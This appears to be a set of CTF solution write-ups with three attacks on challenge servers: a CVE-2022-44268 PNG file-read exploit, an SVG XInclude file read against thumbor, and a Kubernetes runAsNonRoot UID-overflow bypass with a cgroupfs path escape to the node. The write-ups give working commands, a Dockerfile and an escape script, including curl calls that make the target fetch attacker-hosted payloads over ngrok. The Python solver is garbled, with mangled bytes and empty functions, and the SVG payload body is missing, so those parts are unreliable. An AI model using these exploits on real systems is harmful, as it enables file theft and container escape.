# tl;dr
This challenge vulnerable to https://github.com/entr0pie/CVE-2022-44268 so we can read arbitrary file as example /flag.

here the payload we use to generate the `exploit.png` and solve the challenge:

solver.py

#!/usr/bin/env python3

import sys

import png

import zlib

import argparse

import binascii

import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

d = zlib.decompressobj()

e = zlib.compressobj()

IHDR = b'x00x00x00nx00x00x00nx08x02x00x00x00'

IDAT = b'xx9cxbdxccxa1x11xc0 x0cFxe1xb4x03Dx91x8b`xffmx98x010x89x01xc5x00xfcxb8nx8eVxf6xd9' \

def parse_data(data: bytes) -> str:

def read(filename: str):

def write(from_filename, to_filename, read_filename):

def main():

if name == 'main':

solve.sh

convert -size 100x100 xc:black output.png

python3 solver.py -i output.png -o exploit.png -r /flag generate

curl "http://1.95.57.127:3502/thumbor/unsafe/300x/filters:format(png)/http://6.tcp.ngrok.io:15364/exploit.png" -o flag

python3 solver.py -i flag -o foo parse

echo "54504354467b6576316c5f504e475f6d616731636b5f4c66697d0a" | xxd -r -p

# tl;dr
This challenge is vulnerable to https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/ which can enable us to read arbitarary file using this payload:

<?xml version="1.0" encoding="UTF-8" standalone="no" ?>

<svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude">

</svg>

then we curl the svg making the vulerable app request our svg and process it:

curl "http://1.95.57.127:3601/thumbor/unsafe/http://4.tcp.ngrok.io:16592/exploit.svg" -o flag.png

after that we will receive image contain our flag:
TPCTF{un5af3_5vg_X1nclude}

# 1) runAsNonRoot bypass (CVE-2024-40635 class): a UID > uint32 wraps to 0.
USER 4294967296          # kubelet sees uid!=0 and admits the pod; kernel truncates 2^32 -> uid 0 => ROOT
                         #   (numeric 0 and named users are both rejected; only the overflow passes)
# 2) host cgroupfs is bind-mounted at /sys/fs/cgroup; ".." from it escapes into the NODE rootfs:
WORKDIR /sys/fs/cgroup   # readlink ../../../proc/self/cwd -> /sys/fs/cgroup
                         # cat ../../../etc/hostname        -> "k0s-worker"  (the NODE hostname, not the pod's)

cd /sys/fs/cgroup
cat ../../../etc/hostname                                            # k0s-worker  (escape confirmed)
grep -aoE 'SAS\{[^}]*\}' ../../../usr/local/sbin/paradoxy-bootstrap  # the flag (try depths ../../.. .. ../../../../..)

FROM alpine:3.20
COPY escape.sh /escape.sh
RUN chmod +rx /escape.sh
WORKDIR /sys/fs/cgroup          # cwd = host cgroupfs bind mount
USER 4294967296                 # 2^32 -> uid 0 (runAsNonRoot bypass)
ENTRYPOINT ["/bin/sh","/escape.sh"]

# escape.sh
cd /sys/fs/cgroup
cat ../../../etc/hostname                       # -> k0s-worker
for u in ../../.. ../../../.. ../../../../..; do
  grep -aoE 'SAS\{[^}]*\}' "$u/usr/local/sbin/paradoxy-bootstrap" 2>/dev/null | sort -u
done

# build -> push to an anon registry -> run as a pod via the app -> read flag from its logs:
IMG=ttl.sh/pdxe-$(uuidgen | cut -c1-8):1h
docker build --platform linux/amd64 -f Dockerfile.escape -t "$IMG" . && docker push "$IMG"
curl -sk "$INSTANCE/api/send" -H 'Content-Type: application/json' -d "{\"image\":\"$IMG\"}"
curl -sk "$INSTANCE/api/pods/$POD/logs"         # -> SAS{...}